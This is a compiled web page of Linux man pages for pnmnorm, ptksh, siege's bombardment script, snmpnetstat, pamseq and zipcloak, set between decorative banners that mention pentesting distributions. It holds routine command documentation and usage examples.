             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

283 - Linux cli command pnmnorm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmnorm and provides detailed information about the command pnmnorm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmnorm.

.

NAME 🖥️ pnmnorm 🖥️

normalize the contrast in a Netpbm image

SYNOPSIS

pnmnorm

[**-bpercent=**percent | **-bvalue=**N | -bsingle]

[**-wpercent=**percent | **-wvalue=**N | -wsingle]

[**-midvalue=**N]

[-middle=N]

[**-maxexpand=**percent]

[-keephues]

[-luminosity | -colorvalue | -saturation]

[ppmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmnorm reads a PNM image (PBM, PGM, or PPM). It normalizes the contrast by forcing the brightest pixels to white, the darkest pixels to black, and spreading out the ones in between. It produces the same kind of file as output. This is pretty useless for a PBM image.

The program offers two ways of spreading out the pixels in between the darkest and brightest: linear and quadratic. In the quadratic case, you specify some in between brightness and specify what brightness that should become in the output. With those three constraints: the brightness that becomes black, the brightness that becomes white, and the brightness that becomes that middle value, pnmnorm computes a quadratic equation that maps all the other brightnesses from input values to output values.

The program first determines a mapping of old brightness to new brightness. For each possible brightness of a pixel, the program determines a corresponding brightness for the output image.

Then for each pixel in the image, the program computes a color which has the desired output brightness and puts that in the output. With a color image, it is not always possible to compute such a color and retain any semblance of the original hue, so the brightest and dimmest pixels may only approximate the desired brightness.

For a PPM image, you have a choice of three ways to define brightness:

  • luminosity

  • color value

  • saturation

In the case of saturation, “brightness” is pretty much a misnomer, but you can use the brightness analogy to see what it does. In the analogy, bright means saturated and dark means unsaturated.

Note that all of these are different from separately normalizing the individual color components.

An alternative way to spread out the brightnesses in an image is pnmhisteq. pnmhisteq stretches the brightest pixels to white and the darkest pixels to black, but rather than linearly adjusting the ones in between, it adjusts them so that there are an equal number of pixels of each brightness throughout the range. This gives you more contrast than pnmnorm does, but can considerably change the picture in exchange.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmnorm recognizes the following command line options:

By default, the darkest 2 percent of all pixels are mapped to black, and the brightest 1 percent are mapped to white. You can override this behavior and specify either a different percentage, or specific brightness values to map to black and to white, or just have the single greatest brightness map to white and the least brightness map to black.

-bpercent
-wpercent
-bvalue
-wvalue
To specify a percentage, use the -bpercent and -wpercent options, or you can specify the exact pixel values to be mapped by using the -bvalue and -wvalue options. You can get appropriate numbers for the options from ppmhist. If you just want to enhance the contrast, then choose values at elbows in the histogram; e.g. if value 29 represents 3% of the image but value 30 represents 20%, choose 30 for bvalue. If you want to brighten the image, then set bvalue to 0 and just fiddle with wvalue; similarly, to darken the image, set wvalue to maxval and play with bvalue.

If you specify both -bvalue and -bpercent, pnmnorm uses the one that produces the least change. The same goes for -wvalue and -wpercent. (In Netpbm 10.26 (January 2005), the -bvalue/-wvalue takes precedence, and before that, it’s a syntax error to specify both).

If you want to maximize the change instead of minimizing it, just cascade two runs of pnmnorm, specifying values for the first and percentages for the second.

-bpercent and -wpercent values are floating point decimal. Zero is valid and is the same as -bvalue=0 or **-wvalue=**maxval, respectively.

Because there are whole numbers of pixels at each brightness, pnmnorm obviously can’t guarantee the exact percentage, so it arranges that at least the percentage of pixels you specify get remapped as promised.

It is possible for your -bpercent or -wpercent to overlap your -wvalue or -bvalue, respectively. For example, you say -bpercent=20 and -wvalue=100 for an image in which only 10 percent of the pixels are darker than 100. In that case, pnmnorm adjusts the percentile value as required. In the example, it uses 99 as the black value (like -bvalue=99).

It is also possible for your -bpercent and -wpercent options to select the same brightness value for the stretch-to-white and stretch-to-black value because of the fact that pnmnorm can’t subdivide a histogram cell. E.g. if an image is all brightness 100, then no matter what -bpercent and -wpercent values you choose, it’s the same as saying -bvalue=100 -wvalue=100. In that case, pnmnorm changes one of the values by 1 to make it legal. In the example, pnmnorm would either make the black value 99 or the white value 101.

Before Netpbm 10.43 (June 2008), pnmnorm fails if the -wpercent and/or -bpercent values specify an overlap.

The stretch points are further constrained by the -maxexpand option. Sometimes, too much contrast is a bad thing. If your intensities are all concentrated in the middle, -bpercent=2 and -wpercent=1 might mean that an intensity of 60 gets stretched up to 100 and intensity of 20 gets stretched down to zero, for a range expansion of 150% (from a range of 40 to a range of 100). That much stretching means two adjacent pixels that used to differ in intensity by 4 units now differ by 10, and that might be unsightly.

-bsingle
To specify that the single least brightness in the image should stretch to black in the output, specify -bsingle. To specify that the single greatest brightness in the image should stretch to white in the output, specify -wsingle. -bsingle and -wsingle were new in Netpbm 10.69 (December 2014).

-maxexpand
So that you can put a limit on the amount of expansion without having to examine the image first, there is the -maxexpand option. It specifies the maximum expansion you will tolerate, as an additional percentage. In the example above, you could say -maxexpand=50 to say you want the range to expand by at most 50%, regardless of your other options. pnmnorm figures out what intensity to stretch to full intensity and what intensity to stretch to zero intensity as described above, and then raises the former and lowers the latter as needed to limit the expansion to the amount you specified.

When pnmnorm limits the expansion because of -maxexpand, it tells you about it with a message like this:

    limiting expansion of 150% to 50%

In any case, pnmnorm tells you exactly what expansion it’s doing, like this:

    remapping 25..75 to 0..100

Before Netpbm 10.26 (December 2004), it was not valid to specify both -bvalue and -bpercent or -wvalue and -wpercent.

-maxexpand was new in Netpbm 10.32 (February 2006).

-keephues
This option says to keep each pixel the same hue as it is in the input; just adjust its brightness. You normally want this; the only reason it is not the default behavior is backward compatibility with a design mistake.

By default, pnmnorm normalizes contrast in each component independently (except that the meaning of the -wpercent and -bpercent options are based on the overall brightnesses of the colors, not each component taken separately). So if you have a color which is intensely red but dimly green, pnmnorm would make the red more intense and the green less intense, so you end up with a different hue than you started with.

**-midvalue=**N
**-middle=**N
When you specify **-midvalue=**N, pnmnorm uses a quadratic function to map old brightnesses to new ones, making sure that an old brightness of N becomes 50% bright in the output. You can override that 50% default with -middle. The value of -middle is a floating point number in the range 0 through 1 with 0 being full darkness and 1 full brightness. If your -midvalue and -middle indicate an ambiguous or impossible quadratic function (e.g. -midvalue is the same as -bvalue, so an infinite number of quadratic functions fit), pnmnorm just ignores your -midvalue and maps linearly.

-midvalue and -middle were new in Netpbm 10.57 (December 2011).

If you specify -keephues, pnmnorm would likely leave this pixel alone, since its overall brightness is medium.

-keephues can cause clipping, because a certain color may be below a target intensity while one of its components is saturated. Where that’s the case, pnmnorm uses the maximum representable intensity for the saturated component and the pixel ends up with less overall intensity, and a different hue, than it is supposed to have.

This option is meaningless on grayscale images.

When you don’t specify -keephues, the -luminosity, -colorvalue, and -saturation options affect the transfer function (which is the same for all three RGB components), but are meaningless when it comes to applying the transfer function (since it is applied to each individual RGB component).

Before Netpbm 9.25 (March 2002), there was no -keephues option.

-luminosity
-colorvalue
-saturation
-luminosity, -colorvalue, and -saturation determine what property of the pixels pnmnorm normalizes. I.e., what kind of brightness. You cannot specify more than one of these.

The -luminosity option says to use the luminosity (i.e. the “Y” in the YUV or YCbCr color space) as the pixel’s brightness. The luminosity is a measure of how bright a human eye would find the color, taking into account the fact that the human eye is more sensitive to some RGB components than others.

This option is default.

This option is meaningless on grayscale images.

Before Netpbm 10.28 (August 2005), there was no -luminosity option, but its meaning was still the default.

Before Netpbm 10.28 (August 2005), there was no -colorvalue option.

The -colorvalue option says to use the color value (i.e. the “V” in the HSV color space) as the pixel’s brightness. The color value is the gamma-adjusted intensity of the most intense RGB component.

This option is meaningless on grayscale images.

Before Netpbm 10.28 (August 2005), there was no -colorvalue option.

The -saturation option says to use the saturation (i.e. the “S” in the HSV color space) as the pixel’s brightness. The saturation is the ratio of the intensity of the most intense RGB component to the difference between the intensities of the most and least intense RGB component (all intensities gamma-adjusted).

In this case, “brightness” is more of a metaphor than anything. “bright” means saturated and “dark” means unsaturated.

This option is meaningless on grayscale images.

Before Netpbm 10.28 (August 2005), there was no -colorvalue option.

SEE ALSO

pnmhisteq(1) , pamlevels(1) , ppmhist(1) , pgmhist(1) , pambrighten(1) , ppmdim(1) , pnmgamma(1) , pnm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmnorm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

284 - Linux cli command ptkshp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ptkshp and provides detailed information about the command ptkshp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ptkshp.

NAME 🖥️ ptkshp 🖥️

Perl/Tk script to provide a graphical user interface for testing Perl/Tk commands and scripts.

SYNOPSIS

% ptksh ?scriptfile? … version information … ptksh> $b=$mw->Button(-text=>Hi,-command=>sub{print Hi}) ptksh> $b->pack ptksh> o $b … list of options … ptksh> help … help information … ptksh> exit %

DESCRIPTION

ptksh is a perl/Tk shell to enter perl commands interactively. When one starts ptksh a MainWindow is automatically created, along with a ptksh command window. One can access the main window by typing commands using the variable $mw at the ‘ptksh> ’ prompt of the command window.

ptksh supports command line editing and history. Just type “<Up>” at the command prompt to see a history list. The last 50 commands entered are saved, then reloaded into history list the next time you start ptksh.

ptksh supports some convenient commands for inspecting Tk widgets. See below.

To exit ptksh use: exit.

ptksh is *not* a full symbolic debugger. To debug perl/Tk programs at a low level use the more powerful perl debugger. (Just enter ``O tk’’ on debuggers command line to start the Tk eventloop.)

FEATURES

History

Press <Up> (the Up Arrow) in the perlwish window to obtain a gui-based history list. Press <Enter> on any history line to enter it into the perlwish window. Then hit return. So, for example, repeat last command is <Up><Enter><Enter>. You can quit the history window with <Escape>. NOTE: history is only saved if exit is “graceful” (i.e. by the “exit” command from the console or by quitting all main windows–NOT by interrupt).

Debugging Support

ptksh provides some convenience function to make browsing in perl/Tk widget easier:

?, or h
displays a short help summary.

d, or x ?args, …?
Dumps recursively arguments to stdout. (see Data::Dumper). You must have <Data::Dumper> installed to support this feature. x was introduced for perl debugger compatibility.

p ?arg, …?
appends “| " to each of it’s arguments and prints it. If value is undef, ‘(undef)’ is printed to stdout.

o $widget ?-option …?
prints the option(s) of $widget one on each line. If no options are given all options of the widget are listed. See Tk::options for more details on the format and contents of the returned list.

o $widget /regexp/
Lists options of $widget matching the regular expression regexp.

u ?class?
If no argument is given it lists the modules loaded by the commands you executed or since the last time you called u. If argument is the empty string lists all modules that are loaded by ptksh. If argument is a string, ``text’’ it tries to do a ``use Tk::Text;’’.

Packages

Ptksh compiles into package Tk::ptksh. Your code is eval’ed into package main. The coolness of this is that your eval code should not interfere with ptksh itself.

Multiline Commands

ptksh will accept multiline commands. Simply put a “\ character immediately before the newline, and ptksh will continue your command onto the next line.

Source File Support

If you have a perl/Tk script that you want to do debugging on, try running the command

ptksh> do myscript; – or (at shell command prompt) – % ptksh myscript

Then use the perl/Tk commands to try out different operations on your script.

ENVIRONMENT

Looks for your .ptksh_history in the directory specified by the $HOME environment variable ($HOMEPATH on Win32 systems).

FILES

.ptksh_init
If found in current directory it is read in an evaluated after the mainwindow $mw is created. .ptksh_init can contain any valid perl code.

~/.ptksh_history
Contains the last 50 lines entered in ptksh session(s).

PITFALLS

It is best not to use “my” in the commands you type into ptksh. For example “my $v” will make $v local just to the command or commands entered until <Return> is pressed. For a related reason, there are no file-scopy “my” variables in the ptksh code itself (else the user might trounce on them by accident).

BUGS

Tk::MainLoop function interactively entered or sourced in a init or script file will block ptksh.

SEE ALSO

Tk perldebug

VERSION

VERSION 2.03

AUTHORS

Mike Beller <[email protected]>, Achim Bohnet <[email protected]>

Copyright (c) 1996 - 1998 Achim Bohnet and Mike Beller. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

285 - Linux cli command siege2csv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command siege2csv and provides detailed information about the command siege2csv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the siege2csv.

NAME 🖥️ siege2csv 🖥️

Run siege with an ever-increasing number of users

SYNOPSIS

bombardment [urlfile] [clients] [increment] [trials] [delay] bombardment urls.txt 5 10 20 1

DESCRIPTION

bombardment is part of the siege distribution. It calls siege with an initial number of clients. When that run finishes, it immediately calls siege again with that number of clients plus the increment. It does this the number of times specified in the fourth argument.

OPTIONS

urlfile The name of the file containing one or more URLs for siege to test.

clients The initial number of clients to be used on the first run.

increment The number of clients to add to each ensuing run.

trials The number of times to run siege.

delay The is the amount of time, in seconds, that each client will wait between requests. The siege default is overridden by bombardment

SEE ALSO

siege (1), siege2csv (1)

AUTHOR

Written by Peter Hutnick, et al.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

286 - Linux cli command snmpnetstat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpnetstat and provides detailed information about the command snmpnetstat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpnetstat.

NAME 🖥️ snmpnetstat 🖥️

display networking status and configuration information from a network entity via SNMP

SYNOPSIS

snmpnetstat [COMMON OPTIONS] [-Ca] [-Cn] [-Cv] [-Cf address_family] AGENT
snmpnetstat [COMMON OPTIONS] [-Cr] [-Cn] [-Cv] [-Cf address_family] AGENT
snmpnetstat [COMMON OPTIONS] [-Ci] [-C o | b | d] [-Cn] [-Cv] [-CI interface] [-Cw interval] AGENT
snmpnetstat [COMMON OPTIONS] [-Cs[s]] [-Cp protocol] AGENT

DESCRIPTION

The snmpnetstat command symbolically displays the values of various network-related information retrieved from a remote system using the SNMP protocol. There are a number of output formats, depending on the options for the information presented. The first form of the command displays a list of active sockets. The second form presents the values of other network-related information according to the option selected. Using the third form, with an interval specified, snmpnetstat will continuously display the information regarding packet traffic on the configured network interfaces. The fourth form displays statistics about the named protocol.

snmpnetstat will issue GETBULK requests to query for information if at least protocol version v2 is used.

AGENT identifies a target SNMP agent, which is instrumented to monitor the given objects. At its simplest, the AGENT specification will consist of a hostname or an IPv4 address. In this situation, the command will attempt communication with the agent, using UDP/IPv4 to port 161 of the given target host. See snmpcmd(1) for a full list of the possible formats for AGENT.

OPTIONS

The options have the following meaning:

COMMON OPTIONS Please see snmpcmd(1) for a list of possible values for common options as well as their descriptions.

-CL use the legacy SNMP MIB elements, not the modern IP version agnostic tables. snmpnetstat will automatically fall back to the legacy tables if the modern ones are not available.

-Ca With the default display, show the state of all sockets; normally sockets used by server processes are not shown.

-Cf* address_family* Only show entries for the selected address family (inet, inet6)

-Ci Show the state of all of the network interfaces. The interface display provides a table of cumulative statistics regarding packets transferred, errors, and collisions. The network addresses of the interface and the maximum transmission unit (``mtu’’) are also displayed.

-Cd Add dropped packets to the interface display.

-Cb Show an extended interface status, giving octets in addition to packets.

-Co Show an abbreviated interface status, giving octets in place of packets. This is useful when enquiring virtual interfaces (such as Frame-Relay circuits) on a router.

-CI* interface* Show information only about this interface; used with an interval as described below.

-Cn Show network addresses as numbers (normally snmpnetstat interprets addresses and attempts to display them symbolically). This option may be used with any of the display formats.

-Cv Allow long host or service names to break the columnar output. This option may be used with any of the display formats.

-Cp* protocol* Show statistics about protocol, which is either a well-known name for a protocol or an alias for it. Some protocol names and aliases are listed in the file /etc/protocols. A null response typically means that there are no interesting numbers to report. The program will complain if protocol is unknown or if there is no statistics routine for it.

-Cs Show per-protocol statistics. If this is duplicated (-Css) statistics entries which are zero will be suppressed.

-Cr Show the routing tables.

-CR* repeaters* For GETBULK requests, repeaters specifies the max-repeaters value to use.

When snmpnetstat is invoked with an interval argument, it displays a running count of statistics related to network interfaces. interval is the number of seconds between reporting of statistics.

The Active Sockets Display (default)

The default display, for active sockets, shows the local and remote addresses, protocol, and the internal state of the protocol. Address formats are of the form ``host.port’’ or ``network.port’’ if a socket’s address specifies a network but no specific host address. When known, the host and network addresses are displayed symbolically according to the databases /etc/hosts and /etc/networks, respectively. If a symbolic name for an address is unknown, or if the -Cn option is specified, the address is printed numerically, according to the address family. For more information regarding the Internet ``dot format,’’ refer to inet(3N). Unspecified, or ``wildcard’’, addresses and ports appear as ``*’'.

The Interface Display

The interface display provides a table of cumulative statistics regarding packets transferred, errors, and col- lisions. The network addresses of the interface and the maximum transmission unit (``mtu’’) are also displayed.

The Routing Table Display

The routing table display indicates the available routes and their status. Each route consists of a destination host or network and a gateway to use in forwarding pack- ets. The flags field shows the state of the route (``U’’ if ``up’’), whether the route is to a gateway (``G’’), whether the route was created dynamically by a redirect (``D’’), and whether the route has been modified by a redirect (``M’’). Direct routes are created for each interface attached to the local host; the gateway field for such entries shows the address of the outgoing inter- face. The interface entry indicates the network interface utilized for the route.

The Interface Display with an Interval

When snmpnetstat is invoked with an interval argument, it displays a running count of statistics related to network interfaces. This display consists of a column for the primary interface and a column summarizing information for all interfaces. The primary interface may be replaced with another interface with the -CI option. The first line of each screen of information contains a summary since the system was last rebooted. Subsequent lines of output show values accumulated over the preceding interval.

The Active Sockets Display for a Single Protocol

When a protocol is specified with the -Cp option, the information displayed is similar to that in the default display for active sockets, except the display is limited to the given protocol.

EXAMPLES

Example of using snmpnetstat to display active sockets (default):

% snmpnetstat -v 2c -c public -Ca testhost

Active Internet (tcp) Connections (including servers)
Proto Local Address                Foreign Address                 (state)
tcp   *.echo                        *.*                            LISTEN
tcp   *.discard                     *.*                            LISTEN
tcp   *.daytime                     *.*                            LISTEN
tcp   *.chargen                     *.*                            LISTEN
tcp   *.ftp                         *.*                            LISTEN
tcp   *.telnet                      *.*                            LISTEN
tcp   *.smtp                        *.*                            LISTEN
...

Active Internet (udp) Connections
Proto Local Address
udp    *.echo
udp    *.discard
udp    *.daytime
udp    *.chargen
udp    *.time
...

% snmpnetstat -v 2c -c public -Ci testhost

Name     Mtu Network    Address          Ipkts   Ierrs    Opkts Oerrs Queue
eri0    1500 10.6.9/24  testhost     170548881  245601   687976     0    0
lo0     8232 127        localhost      7530982       0  7530982     0    0

Example of using snmpnetstat to show statistics about a specific protocol:

% snmpnetstat -v 2c -c public -Cp tcp testhost

Active Internet (tcp) Connections
Proto Local Address                Foreign Address                 (state)
tcp   *.echo                        *.*                            LISTEN
tcp   *.discard                     *.*                            LISTEN
tcp   *.daytime                     *.*                            LISTEN
tcp   *.chargen                     *.*                            LISTEN
tcp   *.ftp                         *.*                            LISTEN
tcp   *.telnet                      *.*                            LISTEN
tcp   *.smtp                        *.*                            LISTEN
...

SEE ALSO

snmpcmd(1), iostat(1), vmstat(1), hosts(5), networks(5), protocols(5), services(5).

BUGS

The notion of errors is ill-defined.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

287 - Linux cli command pamseq

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamseq and provides detailed information about the command pamseq, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamseq.

.

NAME 🖥️ pamseq 🖥️

generate PAM image of a numerical sequence of tuple values

SYNOPSIS

pamseq [-tupletype=tupletype] depth maxval [-min=n,n,…] [-max=n,n,…] [-step=n,n,…]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamseq generates a PAM image of a specified depth and specified maxval that consists of a single row. The row consists of tuples containing sample values in a numerical sequence.

For example

    pamseq 1 4

generates a 5 pixel wide image of 1 row with depth 1 tuples containing these samples, in order from left to right:

    0 1 2 3 4

The following example uses depth 2:

    pamseq 2 2

The resulting image is a 9 pixel wide image of 1 row with depth 2 containing these samples, in order from left to right;

    (0,0) (0,1) (0,2) (1,0) (1,1) (1,2) (2,0) (2,1) 2,2)

You can choose the starting and ending sample values and the step for each plane: Here is an example of that:

    pamseq 1 255 -min=4 -max=8 -step=2

This generates

    4 6 8

In two dimensions:

    pamseq 2 255 -min=0,4 -max=2,8 -step=1,2

    (0,4) (0,6) (0,8) (1,4) (1,6) (1,8) (2,4) (2,6) (2,8)

pamseq varies first the highest numbered plane, then the next lower numbered plane, etc. Within each plane, the program varies from low sample value to high.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamseq recognizes the following command line options:

-tupletype
This is the value of the “tuple_type” attribute of the created PAM image. It can be any string up to 255 characters.

-min=n,n,
This gives the starting value for the sequence in each plane. The number of comma-separated numbers must be equal to the number of planes in the image (its depth). Each number must be a whole number no greater than the maxval of the image. The first number is for Plane 0, the second for Plane 1, etc.

The default is 0 in every plane.

This option was new in Netpbm 10.99 (June 2022).

-max=n,n,
This is analogous to -min, giving the ending value for the sequence.

Each value must be at least as great as the corresponding -min value.

The default is the maxval in every plane.

This option was new in Netpbm 10.99 (June 2022).

-step=n,n,
This is analogous to -min, giving the step value for the sequence (difference between two consecutive numbers).

Each value must be positive and no greater than the maxval.

The default is 1.

This option was new in Netpbm 10.99 (June 2022).

USAGE

To create a simple ramp of the values 0..255, for input to various matrix calculations, try

  pamseq 1 255 

(Before pamseq existed, pgmramp was often pressed into service for this).

To create a PPM color map of all the possible colors representable with a maxval of 5, do

  pamseq 3 5 -tupletype=RGB | pamtopnm

Again, with a modern program based on the Netpbm library, you don’t need the pamtopnm because a PAM RGB image is equivalent to a PPM image.

You can use such a color map with pnmremap(1) to quantize the colors in an image. With the maxval of 5 given in the example, you get a color map of the set of “web safe” colors as defined by Netscape. Most web browsers guarantee that they can produce at least these 216 colors (215 plus black).

pamrestack can often produce a useful two-dimensional image from pamseq’s single row.

    pamseq 2 255 -min=0,4 -max=2,8 -step=1,2 | pamrestack -width=3

    (0,4) (0,6) (0,8)
    (1,4) (1,6) (1,8)
    (2,4) (2,6) (2,8)

SEE ALSO

pnmremap(1) , pamtopnm(1) , pamrestack(1) , pam(1)

HISTORY

pamseq was added to Netpbm in June 2002.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamseq.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

288 - Linux cli command zipcloak

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zipcloak and provides detailed information about the command zipcloak, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zipcloak.

NAME 🖥️ zipcloak 🖥️

encrypt entries in a zipfile

SYNOPSIS

zipcloak [-d] [-b path] [-h] [-v] [-L] zipfile

ARGUMENTS

zipfile Zipfile to encrypt entries in

OPTIONS

-b path

–temp-path path Use the directory given by path for the temporary zip file.

-d

–decrypt Decrypt encrypted entries (copy if given wrong password).

-h

–help Show a short help.

-L

–license Show software license.

-O path

–output-file zipfile Write output to new archive zipfile, leaving original archive as is.

-q

–quiet Quiet operation. Suppresses some informational messages.

-v

–version Show version information.

DESCRIPTION

zipcloak encrypts all unencrypted entries in the zipfile. This is the default action.

The -d option is used to decrypt encrypted entries in the zipfile.
zipcloak uses original zip encryption which is considered weak.
Note:
The encryption code of this program is not copyrighted and is put in the public domain. It was originally written in Europe and can be freely distributed from any country including the U.S.A. (Previously if this program was imported into the U.S.A, it could not be re-exported from the U.S.A to another country.) See the file README.CR included in the source distribution for more on this. Otherwise, the Info-ZIP license applies.

EXAMPLES

To be added.

BUGS

Large files (> 2 GB) and large archives not yet supported.

Split archives not yet supported. A work around is to convert the split archive to a single-file archive using zip and then use zipcloak on the single-file archive. If needed, the resulting archive can then be split again using zip**.**

SEE ALSO

zip(1), unzip(1)

AUTHOR

Info-ZIP

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
